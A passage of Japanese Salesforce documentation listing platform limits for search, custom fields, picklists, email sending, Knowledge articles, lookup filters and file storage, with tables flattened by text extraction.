ドキュメントの検索の制限
ドキュメントコンテンツの検索では、複数のファイルの種類がサポートされ、ファイルサイズに制限がありま
す。最大サイズを超えるドキュメントのコンテンツは検索できません。ただし、ドキュメント項目は検索され
ます。最初の 100 万文字のみが検索されます。この制限を超えるテキストは検索に含まれません。

最大サイズファイル拡張子ファイルの種類

5 MB.htm、.html、.xhtmlHTML (<body> タグ内のテキストの
み)

25 MB.pdfPDF

25 MB.pot、.pps、.pptPPT

5 MB.rtfRTF

5 MB.c、.cpp、.css.csv、.ini、.java、.log、.sql、.txtテキスト
25 MB.doc、.dotWord

5 MB、または最大 100,000 セル.xls、.xltXLS

5 MB.xmlXML

シノニムに関する検索の制限
シノニムグループを使用すると、検索で語または句のグループを同義とみなします。シノニムグループのいず
れかの語を検索すると、グループ内のすべての語に対する結果が返されます。組織は、最大 10,000 個のシノニ
ムグループを作成できます。

関連トピック:

Chatter のファイル検索の制限
Salesforce CRM Content の制限

シノニムに関する検索の制限
シノニムグループを使用すると、検索で語または句のグループを同義とみなします。シノニムグループのいず
れかの語を検索すると、グループ内のすべての語に対する結果が返されます。組織は、最大 10,000 個のシノニ
ムグループを作成できます。

選択リストに関する検索の制限
特定のオブジェクトに対して検索結果を並び替える場合、複数選択リスト項目のデータ型は並び替えることが
できないため、複数選択リスト項目の列ヘッダーはクリックできません。
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標準オブジェクトの制限
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

標準オブジェクトの制限には、追加したカスタム項目やオブジェクトに適用し
た共有ルールなど、オブジェクトのカスタマイズの使用状況に関する詳細が含
まれます。
リストは、オブジェクトによって異なります。カスタマイズがオブジェクトに
許可された制限を超えた場合、または制限の 75% に達した場合、対処方法を提
案するヒントが表示されます。
特定の標準オブジェクトをカスタマイズする場合、またはそのオブジェクトの
カスタマイズの利用状況および制限を監視する場合、標準オブジェクトの制限
ページを参照します。
適切なオブジェクトの管理設定から、[制限] に移動します。

メモ: オブジェクトの制限割合 (%) は、切り上げではなく、切り捨てられます。たとえば、組織が特定の
カスタマイズの制限の 95.55% を使用している場合、オブジェクト制限には 95% と表示されます。

管理およびサポートの制限

割り当てルール、自動レスポンスルール、エスカーレーションルール、およびワークフロールールの制限
エディション別の、リードの生成、メールレスポンス、エスカーレーション、ワークフローの自動化の制
限です。
Chatter アンサーの制限
質問およびカスタマーポータルのカスタマイズの制限です。
項目、選択リスト、データ設定の制限
カスタム項目、選択リスト、カスタム選択リスト、カスタムデータ設定の制限です。
カスタマーポータルの制限
カスタマーポータルのカスタムオブジェクトの制限およびポータルユーザの制限です。
データのインポートの制限
データローダを使用したデータのインポートの制限です。
外部データのインテグレーションの制限
Salesforce Connect では、Salesforce 組織外に保存されているデータへのアクセスに制限があります。
External Identity ユーザ数制限
External Identity ユーザライセンス数による制限。
メール制限
メール、一括メール送信、ワークフローメールの制限です。
Salesforce ナレッジの制限
エディション別の Salesforce ナレッジの制限です。
項目の制限事項
暗号化項目、差し込み項目、数式項目の制限事項です。
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ファイルとディスク使用制限
Salesforce Files、CRM コンテンツ、Chatter、ストレージ割り当ての制限です。
Force.com サイトのページビューの制限
ページビューとしてカウントされる要求の制限です。
Force.com サイトの請求の制限
Force.com サイトに関連する制限および請求に使用される用語です。
Sandbox と Sandbox ストレージの全般的な制限
Sandbox 環境の制限です。
パートナーポータルの制限
パートナーポータルの制限です。
パスワードポリシーの制限
ユーザパスワードの数値と使用の制限です。
Salesforce コンソールの制限事項
Salesforce コンソールの使用での技術的な制限です。
サイトのエディションの制限
エディション別の、サイト数、帯域幅、サービス要求時間、最大ページビューの制限です。
Site.com のインポートの制限
サイトおよびファイルのインポートの制限です。
Web 要求の制限
Web 要求の同時使用の制限です。

関連トピック:

Lightning Experience の考慮事項
Salesforce Classic Mobile アプリケーションの制限
Salesforce1 モバイルアプリケーションで使用できない機能とその新機能
重複管理の使用に関する考慮事項

割り当てルール、自動レスポンスルール、エスカーレーションルー
ル、およびワークフロールールの制限
エディション別の、リードの生成、メールレスポンス、エスカーレーション、ワークフローの自動化の制限で
す。
割り当てルールは、組織のリードの生成とサポートプロセスを自動化します。自動レスポンスルールは、リー
ドまたはケース登録に自動メールレスポンスを送信する条件を指定します。エスカレーションルールは、ケー
スが一定の期間内に解決されない場合に自動的にエスカレーションを行います。ワークフロールールは、項目
の更新や ToDo の作成などの自動アクションを実行する条件を指定します。
次の表に、ルールの制限を示します。
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詳細制限

50

オブジェクトごとのアクティブなルール
(制限は、有効なワークフロールール、割り当て
ルール、自動レスポンスルール、エスカレーショ
ンルール、およびプロセスの任意の組み合わせ
に適用されます。)

それぞれ次の制限があります。割り当てルール、自動レスポンスルール、およ
びエスカーレーションルール • 3,000 件のエントリ

• 300 件の数式条件エントリ
• エントリごとに 25 件の検索条件

200ルールあたりの使用できるアクションの合計

オブジェクトあたり 500、組織あたり 2,000

許可されたルール数合計
(制限は、有効または無効のワークフロールール、
割り当てルール、自動レスポンスルール、およ
びエスカレーションルールの任意の組み合わせ
に適用されます。)

Chatter アンサーの制限
質問およびカスタマーポータルのカスタマイズの制限です。
Chatter アンサーは、ケース、アンサー、Force.com サイト、カスタマーポータル、Salesforce ナレッジを Web コ
ミュニティに統合します。
Chatter アンサーには次の制限が適用されます。
• Chatter アンサーの質問は、最大で 500 件の回答を受け取ることができます。
• カスタマーポータルをカスタマイズする場合、アンサーではすべてのタブスタイルおよび次のページスタ

イルのみがサポートされます。
– ページ背景
– テキスト
– リンク
– リンクのフロート表示

関連トピック:

Chatter アンサー実装のヒント
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項目、選択リスト、データ設定の制限
カスタム項目、選択リスト、カスタム選択リスト、カスタムデータ設定の制限です。

オブジェクトごとに許可されるカスタム項目
エディション別のカスタム項目数の制限です。
カスタム選択リストの制限
ユーザがあらかじめ定義された選択肢から値を選択できる、カスタマイズされた選択肢のリストの制限で
す。
カスタム設定制限
カスタム設定が許可されるキャッシュデータの量の制限です。
標準選択リストの制限
標準選択リストの値セットの制限です。

オブジェクトごとに許可されるカスタム項目
エディション別のカスタム項目数の制限です。
オブジェクトあたりの使用できるカスタム項目数は、Salesforce のエディションによって異なります。活動項
目、ロングテキストエリア項目、リッチテキストエリア項目、リレーション項目、および積み上げ集計項目の
最大数も同様に異なります。

Unlimited
Edition およ
び
Performance
Edition

Developer
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

データ型

10020なし活動

項目のデータ型に関係なく、オブジェクトに許可されるカスタム項目の合計数に関するエディ
ションの制限は適用されますが、オブジェクトには、リッチテキストエリア項目やロングテキ

ロングテキ
ストエリア

リッチテキ
ストエリア

ストエリア項目を無制限に含めることができます。各オブジェクトは、ロングテキストエリア
項目とリッチテキストエリア項目で 160 万文字を使用できます。ロングテキストエリア項目ま
たはリッチテキストエリア項目を作成するとき、項目の文字数制限、つまり入力可能なテキス
トの最大長を設定します。ロングテキストエリア項目とリッチテキストエリア項目のデフォル
トの文字数制限は、32,768 文字 (32 KB) です。ロングテキストエリア項目とリッチテキストエリ
ア項目の最大文字数制限は、131,072文字 (128 KB) です。最小文字数制限は 256 文字です。リッチ
テキストエリア項目にアップロードできる画像の最大サイズは 1 MB です。

40

なし

リレーショ
ン

25
積み上げ集
計

7164

項目、選択リスト、データ設定の制限Salesforce の制限



カスタム選択リストの制限
ユーザがあらかじめ定義された選択肢から値を選択できる、カスタマイズされた選択肢のリストの制限です。
単一選択のカスタム選択リストの場合は次のようになります。
• 最大 1,000 個の値
• 値あたり最大 255 文字
複数選択のカスタム選択リストの場合は次のようになります。
• 最大 500 個の値
• 値あたり最大 255 文字
ユーザは 1 レコードに対し一度に最大 100 個の値を選択できます。

カスタム設定制限
カスタム設定が許可されるキャッシュデータの量の制限です。
カスタム設定には、数式項目、入力規則、Apex、および SOAP API からアクセスできます。
キャッシュされるデータ量およびカスタム設定には次の制限が適用されます。
• 組織に許可されるキャッシュデータの合計量は、次の 2 つの値のうち小さい方です。

– 10 MB

– 1 MB × 組織のフルユーザライセンス数
たとえば、組織にフルライセンスが 3 つある場合、カスタム設定ストレージは 3 MB になります。組織にフ
ルライセンスが 20 ある場合は、ストレージが 10 MB になります。

• 組織の制限に加えて、認定管理パッケージごとに別個の制限が適用されます。たとえば、組織に認定管理
パッケージが 2 つインストールされ、フルライセンスが 3 つあるとします。組織の 3 MB というカスタム設
定のストレージ制限に加え、認定管理パッケージごとに 3 MB のストレージをカスタム設定できます。

• カスタム設定ごとに、最大 300 個の項目を追加できます (カスタムオブジェクトの項目制限が 300 未満の場
合を除く)。カスタムオブジェクトの項目制限が 300 未満の場合は、カスタム設定の項目制限とカスタムオ
ブジェクトの項目制限が同じになります。

標準選択リストの制限
標準選択リストの値セットの制限です。
選択リストとはカスタマイズされた選択内容のリストのことであり、このリストを使用して、ユーザはあらか
じめ定義されたリストから値を選択できます。
選択リストに使用できる最大文字数は、選択リストの種別によって異なります。選択リストの各値には改行と
復帰の記号が含まれますが、これらは表示されません。値ごとに追加されるこの 2 文字も、各値の文字制限に
数えられます。
標準選択リストの場合、各値には改行と復帰を除く最大 255 文字を含めることができます。これは単一選択リ
ストと複数選択リストに適用されます。
レコードタイプまたはトランスレーションワークベンチを使用する組織の標準選択リストの場合、値数に制限
はありませんが、次のような特殊な選択リストは例外です。
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値の最大数選択リスト項目

100リード状況

100ToDo の状況

50ToDo の優先度

100ケースの状況

50ケース優先度

100商談フェーズ

カスタマーポータルの制限
カスタマーポータルのカスタムオブジェクトの制限およびポータルユーザの制限です。
有効にできるカスタマーポータル数とカスタマーポータルユーザライセンス数についての詳細は、Salesforceに
お問い合わせください。

カスタマーポータルのカスタムオブジェクトの制限
カスタマーポータルのカスタムオブジェクトには次の制限が適用されます。
• カスタマーポータルで作成できるカスタムオブジェクトの最大数は、使用しているエディションで作成で

きるカスタムオブジェクトの総数によって決定されます。
• また、カスタマーポータルでポータルユーザに表示できるカスタムオブジェクト数は、ユーザライセンス

によって制御されます。詳細は、Salesforce にお問い合わせください。

個人取引先の制限
Salesforceユーザは最大 1000 件の個人取引先ポータルユーザの所有者になることができます。これには、カスタ
マーコミュニティプラスライセンス、カスタマーポータルライセンス、およびロールベースのポータルライセ
ンスを持つ個人取引先ユーザが含まれます。大規模カスタマーポータルやカスタマーコミュニティなど、大規
模ポータルライセンスを持つ個人取引先ユーザは、この制限数の対象にはなりません。パートナーポータルラ
イセンスまたはパートナーコミュニティライセンスを持つユーザは、個人取引先ユーザになり得ないため、こ
の制限は適用されません。

ポータルロールの制限
組織のポータルまたはコミュニティで使用できるロールの最大数は 5000 です。この制限には、組織のすべて
のカスタマーポータル、パートナーポータル、またはコミュニティに関連付けられたロールが含まれます。こ
の数が不必要に増加しないように、ロール数を確認して削減することをお勧めします。使用していないロール
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を削除することもできます。さらに多くのロールが必要な場合は、Salesforceカスタマーサポートまでご連絡く
ださい。

関連トピック:

カスタマーポータルに対する Salesforce CRM Content の有効化
カスタマーポータル設定の制限

データのインポートの制限
データローダを使用したデータのインポートの制限です。
データローダを使用してインポートしたデータには次の制限事項が適用されます。
特定の範囲内の日付のみが有効です。最も早い有効な日付は 1700-01-01T00:00:00Z GMT、つまり、1700 年 1 月 1 日
の午前 0 時です。有効な日付の最大値は 4000-12-31T00:00:00Z GMT、つまり、4000 年 12 月 31 日の午前 0 時です。
これらの値は、タイムゾーンごとのオフセットとなります。たとえば、太平洋タイムゾーンでは、最も早い有
効な日付は 1699-12-31T16:00:00、つまり 1699 年 12 月 31 日の午後 4 時です。
バージョン 28.0 以降のデータローダを使用する場合、インポートした CSV ファイルの項目最大サイズは 32,000

文字です。

外部データのインテグレーションの制限
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Developer Edition

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Salesforce Connect では、Salesforce 組織外に保存されているデータへのアクセスに
制限があります。

一般的な Salesforce Connect の制限
割り当てられたユーザライセンスによって、各ユーザがアクセスできるカスタ
ムオブジェクトの最大数が決まります。その数まで外部オブジェクト権限を付
与することもできます。外部オブジェクトは、カスタムオブジェクトの制限で
カウントされません。

200組織あたりの外部オブジェクトの最大数 1

4外部オブジェクトとその他の種別のオブジェクト全体でのクエ
リあたりの結合の最大数

4,000 文字外部システムから発行される OAuth トークンの最大長
50,0001 外部データソースにつき 1 時間あたりに取得または作成され

る新しい行の最大数。この制限は、大量データの外部データ
ソースまたは以前に取得されていない行には適用されません。

1 200 件の外部オブジェクト制限は、組織で購入する Salesforce Connect アドオン数に関係なく適用されます。外
部オブジェクトは、カスタムオブジェクトの制限でカウントされません。
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次の制限は、Salesforce Connect の OData 2.0 および 4.0 アダプタにのみ適用されます。

8 MBOData の最大 HTTP 要求サイズ
8 MBOData の最大 HTTP 応答サイズ
16 MBOData クエリの最大結果セットサイズ

1,000 行OData サブクエリの最大結果セットサイズ

組織には次の制限があります。
• Enterprise Edition、Performance Edition、および Unlimited Edition では、1 時間あたり 10,000 個の OData コールアウ

ト。要求に応じて制限を緩和できます。
• Developer Edition では、1 時間あたり 1,000 個の OData コールアウト。

関連トピック:

Salesforce Connect — すべてのアダプタの考慮事項

External Identity ユーザ数制限
External Identity ユーザライセンス数による制限。
コミュニティ内の External Identity ライセンスユーザ数が 1 か月に 1,000 万ユニークユーザを超えないようにする
ことをお勧めします。この制限を超えて追加のユーザライセンスが必要な場合は、Salesforce のアカウントエグ
ゼクティブにお問い合わせください。この制限を超えると、追加料金および機能の低下が生じる可能性があり
ます。

メール制限
メール、一括メール送信、ワークフローメールの制限です。

メールの全般的な制限
エディションごとのメールおよびメールテンプレートの制限です。
メールアラートの日次制限
メールアラートから送信されるメールの 1 日の制限は、1 組織につき標準 Salesforce ライセンスあたり 1,000

件です。ただし無料の Developer Edition およびトライアル組織は例外で、1 日のワークフローメールの制限は
15件になります。組織全体での制限は2,000,000件です。この制限は、ワークフロールール、承認プロセス、
フローまたは REST API でメールアラートから送信されるメールに適用されます。
一括メール送信の制限
エディション別の一括メール送信の制限です。

メールの全般的な制限
エディションごとのメールおよびメールテンプレートの制限です。
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取引先、取引先責任者、リード、商談、ケース、キャンペーン、カスタムオブジェクトの各ページから、組織
の取引先責任者、リード、個人取引先、ユーザに個別のメールを直接送信する場合は、制限はありません。
API または Apex を使用して、グリニッジ標準時 (GMT) に基づき 1 日に最大 5,000 個の外部メールアドレスに単一
メールを送信できます。Salesforceの Email Author やコンポーザを使用して送信した単一メールは、この制限に含
まれません。取引先、取引先責任者、リード、商談、ケース、キャンペーン、カスタムオブジェクトの各ペー
ジから、組織の取引先責任者、リード、個人取引先、ユーザに個別のメールを直接送信する場合は、制限はあ
りません。

Developer
Edition

Unlimited
Edition お
よび
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

機能

テキスト
メールテ

メールテンプレート: 最
大サイズ

• テキスト、HTML、およびカスタム HTML テンプレート: 384 KB

• Visualforce テンプレート: 1 MBンプレー
ト: 384 KB

ユーザライセンス数 × 1,000、最大数 1,000,000

なし

メールサービス:

Salesforce で処理する 1

日あたりのメールメッ
セージの最大数

25 MB1

メールサービス: メール
メッセージの最大サイ
ズ (メールヘッダー、本
文、添付ファイル、エ
ンコード)

1,000
拡張差し込み印刷: 最大
レコード数

1 MB
拡張差し込み印刷: 選択
したテンプレートの最
大合計サイズ

Salesforce に送信される
受信メール

• メール本文切り捨てサイズ: 32 KB

• 受信したメールごとに作成されるメール活動の最大数: 50

• 添付ファイルの最大合計サイズ: 25 MB1

なし
差し込み項目:
Case.Email_Thread

• 最大メール数: 200

• メール本文切り捨てサイズ: 32 KB

ユーザライセンス数 × 1,000、最大数 1,000,000なし
オンデマンドメール-to-

ケース: Salesforceで処理
する 1 日あたりのメー

7169

メール制限Salesforce の制限



Developer
Edition

Unlimited
Edition お
よび
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

機能

ルメッセージの最大数
(メールサービスの制限
に対してカウント)

25 MB1

オンデマンドメール-to-

ケース: メールの最大サ
イズ (メールヘッダー、
本文、添付ファイル、
エンコード)

1メールサービスのメールメッセージの最大数は、言語および文字セットによって異なります。メールメッセー
ジのサイズには、メールヘッダー、本文、添付ファイル、エンコードが含まれます。そのため、添付ファイル
が 25 MB のメールは、ヘッダー、本文、エンコードを考慮すると、メールメッセージのサイズ制限 25 MB を超
える可能性があります。

関連トピック:

一括メール送信の制限
メールアラートの日次制限

メールアラートの日次制限
メールアラートから送信されるメールの 1 日の制限は、1 組織につき標準 Salesforceライセンスあたり 1,000 件で
す。ただし無料の Developer Edition およびトライアル組織は例外で、1 日のワークフローメールの制限は 15件に
なります。組織全体での制限は2,000,000件です。この制限は、ワークフロールール、承認プロセス、フローま
たは REST API でメールアラートから送信されるメールに適用されます。
組織が日次ワークフローメールの制限に到達すると、次のようになります。
• ワークフローキュー内に残っており、その日に送信されないメールは破棄されます。Salesforce ではこれら

のメールを後で再送信しません。
• アクションを伴うワークフロールールとメールアラートが起動された場合、メールアクションのみがブロッ

クされます。
• 最終承認、最終却下、承認、却下、メール取り消しアクションはブロックされます。
• エラーメッセージがデバッグログに追加されます。
次の項目は、ワークフローメール制限にはカウントされません。
• 承認通知メール
• ToDo 割り当て通知
• リードの割り当てルール通知
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• ケースの割り当てルール通知
• ケースのエスカレーションルール通知
• Force.com サイトの利用状況のアラート
制限は、GMT の午前 0 時に開始および終了する 24 時間の活動に基づいています。ユーザライセンスを追加また
は削除すると、制限数の合計がすぐに調整されます。メールアラートをグループに送信すると、そのグループ
のすべての受信者が 1 日あたりのワークフローメール制限としてカウントされます。
ワークフローメールアラートが特定の制限に近づいている場合や制限を超えた場合、Salesforceは警告メールを
デフォルトのワークフローユーザに送信します。デフォルトのワークフローユーザが設定されていない場合
は、有効なシステム管理者に送信します。

警告メールの内容Salesforce から送信される警告メー
ル

状況

未送信メールアラートのコンテン
ツおよび受信者

未送信メールアラートごとに 1 件の
警告メール

1 件のメールの受信者数の制限を超
えているため、メールアラートが
送信されない

制限および組織の利用状況1 件の警告メール組織の 1 日あたりのメール制限の
90% に達している

制限および組織の利用状況1 件の警告メール組織の 1 日あたりのワークフロー
メール制限の 90% に達している

制限および組織の利用状況制限を超えたメールアラートの試
行 100 件ごとに 1 件の警告メール

組織の 1 日あたりのメール制限に達
しているため、メールアラートが
送信されない

制限および組織の利用状況制限を超えたメールアラートの試
行 100 件ごとに 1 件の警告メール

組織の 1 日あたりのワークフロー
メール制限に達しているため、メー
ルアラートが送信されない

一括メール送信の制限
エディション別の一括メール送信の制限です。
グリニッジ標準時 (GMT) に基づいて、1 組織あたり 1 日に最大 5,000 個の外部メールアドレスに一括メール送信
できます。
一括メール送信には次の追加制限が適用されます。
• 単一メールおよび一括メールの制限では、アドレスが一意であるかどうかは考慮されません。たとえば、

メールに johndoe@example.com が 10 回含まれている場合、制限に対して 10 とカウントされます。
• ポータルユーザを含め、組織の内部ユーザに送信できるメールには制限はありません。
• 一括メールは、取引先責任者、個人取引先、リード、および組織の内部ユーザにのみ送信できます。
• Developer Edition 組織とトライアルで Salesforce を評価中の組織では、1 日あたり 10 個を超える外部メールア

ドレスに一括メール送信できません。この低い制限は、組織が Winter '12 リリースより前に作成されており、
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一括メール送信がすでに高い制限で有効になっている場合は適用されません。また、組織は 1 日あたり最
大 15 個のメールアドレスに単一メールを送信できます。

• Visualforce メールテンプレートを使用して一括メール送信はできません。

Salesforce ナレッジの制限
エディション別の Salesforce ナレッジの制限です。
Salesforce ナレッジは、コンテンツを作成および管理するための知識ベースです。コミュニティ (Classic ナレッジ
のみ) で Salesforce ナレッジが有効になっている場合、顧客およびパートナーは記事にアクセスできます。

メモ: 次の制限はデフォルトの制限です。一部の制限は拡大できます。制限を緩和するには、Salesforce に
お問い合わせください。

Lightning Knowledge の詳細Classic ナレッジの詳細Salesforce ナレッジの制限

50,000 個の記事50,000 個の記事最大記事数

なし100 個の記事タイプ最大記事タイプ

なしEnterprise Edition、Developer Edition、お
よび Unlimited Edition: 記事タイプあた
り 500 個のカスタム項目
Performance Edition: 記事タイプあたり
800 個のカスタム項目

記事タイプあたりの最大カスタム
項目数

なし5 個のファイル項目最大ファイル項目

ファイルは最大 25 MB です。ファイル項目は添付ファイルとし
てカウントされます。最大25 MBで
す。

最大ファイルサイズ

131072 文字131072 文字最大リッチテキストエリアサイズ

1638400 文字1638400 文字記事のすべてのリッチテキストエ
リア項目の合計サイズ

1 つのリッチテキスト項目で、異な
る Salesforce ナレッジ記事に最大 100

個のリンクを設定できます。

1 つのリッチテキスト項目で、異な
る Salesforce ナレッジ記事に最大 100

個のリンクを設定できます。

リッチテキストエリア項目での一
意の最大記事参照 (リンク) 数

記事イベントは、最長 18 か月間追
跡されます。

記事イベントは、最長 18 か月間追
跡されます。

記事履歴の追跡

なし16 個のサポート言語最大サポート言語数
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Lightning Knowledge の詳細Classic ナレッジの詳細Salesforce ナレッジの制限

なしインポート .zip ファイルは次の要件
を満たす必要があります。

記事のインポート

• .csv ファイルと .properties ファイ
ルをそれぞれ 1 つのみ含めるこ
とができます。

• .csv ファイルと .properties ファイ
ルがルートディレクトリに配置
されている必要があります。

• 圧縮プロセスでフォルダとサブ
フォルダの構造を維持する必要
があります。

• .zip ファイル名に特殊文字は使用
できません。

• .zip ファイルは 20 MB を、zip ファ
イル内の各非圧縮ファイルは 10

MB を超えることはできません。
• ヘッダー行を含め .csv ファイル

に 10,000 を超える行を含めるこ
とはできません。したがって、
最大 9,999 個の記事と翻訳を含め
ることができます。

• .csv ファイルの行が 400,000 文字
を超えることはできません。

• .csv ファイルのセルが 32 KB を超
えることはできません。

• .csv ファイルの各記事に 50 以上
の翻訳を含めることはできませ
ん。

カテゴリグループ 5 つ、一度に有効
にできるグループ 3 つ

カテゴリグループ 5 つ、一度に有効
にできるグループ 3 つ

最大データカテゴリグループ数お
よび有効なデータカテゴリグルー
プ

1 つのデータカテゴリグループに
100 個のカテゴリ

1 つのデータカテゴリグループに
100 個のカテゴリ

データカテゴリグループあたりの
最大カテゴリ数

1 つのデータカテゴリグループ階層
に 5 個のレベル

1 つのデータカテゴリグループ階層
に 5 個のレベル

データカテゴリグループ階層あた
りの最大レベル数

記事に割り当てられたデータカテ
ゴリグループの 8 個のデータカテゴ
リ

記事に割り当てられたデータカテ
ゴリグループの 8 個のデータカテゴ
リ

記事に割り当てられたデータカテ
ゴリグループの最大データカテゴ
リ数
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Lightning Knowledge の詳細Classic ナレッジの詳細Salesforce ナレッジの制限

なし組織で最大 2,000 個の昇格済み用語
を作成できます。

昇格済み検索語の最大数

関連トピック:

Salesforce ナレッジの概要
知識ベースの計画
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

項目の制限事項
暗号化項目、差し込み項目、数式項目の制限事項です。
積み上げ集計項目は、取引を開始したリードのリード項目の対応付けには使用できません。

暗号化された項目の制限事項
項目を暗号化する場合、条件および Visualforce ページに関する操作に制限事項があります。
リッチテキストエリア項目の制限事項
モバイルアプリケーションは、ロングテキストエリア項目のようなリッチテキストエリアを処理しますが、
HTML 形式のコンテンツまたは画像はサポートしていません。モバイルアプリケーションは、1,000 文字で
リッチテキストエリア項目を切り捨てます。これには HTML マークアップも含まれます。システム管理者
は、モバイルページレイアウトからリッチテキストエリア項目を削除することを検討する必要があります。
モバイルユーザが 1,000 文字を超える既存のエントリを含むリッチテキストエリア項目を編集する場合、モ
バイルアプリケーションは項目内のテキストを切り捨てます。
参照検索条件の制限事項
ルックアップ検索条件は、参照項目、主従関係項目、階層関係項目の有効な値とルックアップダイアログ
結果を制限するシステム管理者設定です。

関連トピック:

クロスオブジェクト数式の差し込み項目
入力規則の差し込み項目
入力規則の考慮事項

暗号化された項目の制限事項
項目を暗号化する場合、条件および Visualforce ページに関する操作に制限事項があります。

従来の暗号化
従来の暗号化を使用して暗号化された項目には、次の制限事項が適用されます。
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• 暗号化項目は、リストビュー、レポート、積み上げ集計項目、およびルール条件などの条件に使用するこ
とはできません。

• メールテンプレートに暗号化項目を使用することはできますが、その値は「暗号化されたデータの参照」
権限の有無に関係なく常にマスクされます。

• [Visualforce]ページでの暗号化項目の表示をサポートしているのは、<apex:outputField> コンポーネント
のみです。

リッチテキストエリア項目の制限事項
モバイルアプリケーションは、ロングテキストエリア項目のようなリッチテキストエリアを処理しますが、
HTML 形式のコンテンツまたは画像はサポートしていません。モバイルアプリケーションは、1,000 文字でリッ
チテキストエリア項目を切り捨てます。これには HTML マークアップも含まれます。システム管理者は、モバ
イルページレイアウトからリッチテキストエリア項目を削除することを検討する必要があります。モバイル
ユーザが 1,000 文字を超える既存のエントリを含むリッチテキストエリア項目を編集する場合、モバイルアプ
リケーションは項目内のテキストを切り捨てます。

参照検索条件の制限事項
ルックアップ検索条件は、参照項目、主従関係項目、階層関係項目の有効な値とルックアップダイアログ結果
を制限するシステム管理者設定です。
ルックアップ検索条件には次の制限事項が適用されます。
• ルックアップ検索条件では次の項目種別を参照できません。

– 活動のリレーション項目
– [作成者] および [更新者] などの、常に参照のみのシステム項目
– [ケース所有者] および [リード 所有者] などの、キューをサポートするリレーション項目

• 各オブジェクトは、必須なルックアップ検索条件を 5 個まで使用できます。省略可能な参照項目の数に制
限はありません。オブジェクトの必須項目の上限に達した場合、代わりに省略可能な項目を作成し、ユー
ザ保存時に入力規則を使用してビジネスルールを適用します。

• 通貨項目でのルックアップ検索条件は、通貨を換算しません。たとえば、組織でマルチ通貨を使用してルッ
クアップ検索条件が「期待収益 ＞ 100000」の場合、通貨に関係なく、ルックアップには [期待収益] 項
目の値が 100,000 より大きいすべてのレコードが表示されます。

• ルックアップ検索条件には、「今日」または「今月」などの、特殊な日付値は使用できません。
• 有効なルックアップ検索条件で参照される項目は削除できません。
• 有効なルックアップ検索条件で参照される項目のデータ型は変更できません。
• ルックアップ検索条件では、ソースオブジェクトの次の項目種別を参照できません。

– 自動採番
– 暗号化
– 数式
– ロングテキストエリア
– 複数選択リスト
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– 積み上げ集計
– テキスト
– テキストエリア
– URL

• ルックアップオートコンプリートは、追加のドロップダウンリストでのユーザルックアップでは機能しま
せん。これは主に、パートナーポータルまたはカスタマーポータルのいずれかを設定した組織のための機
能です。

• 拡張リストビューでは、連動ルックアップ検索条件で参照される項目を変更できません。
• ルックアップ検索条件では、所有者の一括変更はサポートされていません。ルックアップ検索条件で [所

有者] 項目を参照している場合、所有者の一括変更を実行しても正しい値にはなりません。また、この不
正な値はレコードを保存するまで検出されません。

• ルックアップ検索条件でサポートされないグローバル差し込み項目を数式で参照している場合、ルックアッ
プ検索条件は数式を参照できません。

• [取引先名]でのルックアップ検索条件は、法人取引先にのみ適用されます。個人取引先には適用されませ
ん。たとえば、ルックアップ検索条件が [取引先名] does not contain book の場合、John's Bookstore の
ように名前に「book」が含まれる法人取引先は無効ですが、John Booker のように名前に「book」が含まれる
個人取引先は有効で、[取引先]項目のルックアップダイアログに表示されます。個人取引先の名前で絞り
込む場合は、代わりに [名] または [姓] を使用します。

• Salesforce では、リストビューのインライン編集は次の場合にサポートされません。
– 連動ルックアップで参照されているソースオブジェクトの項目。
– 連動ルックアップを含む項目。

ファイルとディスク使用制限
Salesforce Files、CRM コンテンツ、Chatter、ストレージ割り当ての制限です。

Salesforce Files Sync の制限
ストレージ、ファイルサイズ、ファイルの同期の制限です。
Salesforce CRM Content の制限
エディション別の Salesforce CRM Content の制限です。
Chatter のファイルの制限
Chatter 投稿またはコメントへの添付ファイルの制限です。
データストレージとファイルストレージの制限
Salesforce エディションおよび組織内の標準ライセンスユーザ数別のストレージ割り当ての制限です。

Salesforce Files Sync の制限
ストレージ、ファイルサイズ、ファイルの同期の制限です。
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制限機能

ストレージは、購入した Salesforce ライセンス数に基づいています。
追加ストレージを購入できます。詳細は、「データストレージと
ファイルストレージの制限」を参照してください。

組織の共有ストレージ

ユーザは最大 10,000 個のファイルを同期できます。同期済みファイルの最大数

500 フォルダ同期済みフォルダの最大数

ファイルサイズ • Web インターフェースによるアップロード時: 2 GB

• Salesforce Files Syncデスクトップクライアントによるアップロード
時: 2 GB (またはプロキシ使用時は 500 MB)

• モバイルデバイスによるアップロード時: 100 MB

2,048ファイルあたりのバージョンの最大数

1,000 ユーザ同じファイルを同時に同期できるユー
ザの最大数

Salesforce Files Sync デスクトップクライアントからの接続アプリケー
ションごとに 1 ユーザにつき 1 時間あたり 10,000 件

Connect API コールの最大数

Salesforce CRM Content の制限
エディション別の Salesforce CRM Content の制限です。
Salesforce CRM Contentには、Microsoft® PowerPoint プレゼンテーションから、オーディオファイル、動画ファイル、
Web ページ、および Google®ドキュメントまで、あらゆる種類のファイルを含めることができます。次の表に、
エディション別の Salesforce CRM Content の制限を示します。

詳細機能

10 GBコンテンツ配信: 直近 24 時間あたりのデフォ
ルトの配信帯域幅

20,000コンテンツ配信: 直近 24 時間あたりのデフォ
ルトの配信参照カウント数

25 MBコンテンツ配信: オンライン参照の最大ファ
イルサイズ

コンテンツ: 最大ファイルサイズ • 2 GB

• Chatter REST API によるアップロード時: 2 GB (ヘッダーを含む)

• REST API によるアップロード時: 2 GB (ヘッダーを含む)

• SOAP API によるアップロード時: 38 MB

• Bulk API によるアップロード時: 10 MB

• Google ドキュメント: 10 MB
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詳細機能

• Visualforce によるアップロード時: 10 MB

2,000コンテンツ: 最大ライブラリ数
10,000,000コンテンツ: 最大コンテンツドキュメント数

36,000 (Developer Edition では 2,500)コンテンツ: 24 時間あたりのコンテンツドキュ
メントおよびバージョンの最大数 (調整可能)

50 (Personal Edition ではなし)コンテンツパック: 最大ファイル数
20 KBドキュメント: カスタムアプリケーションロ

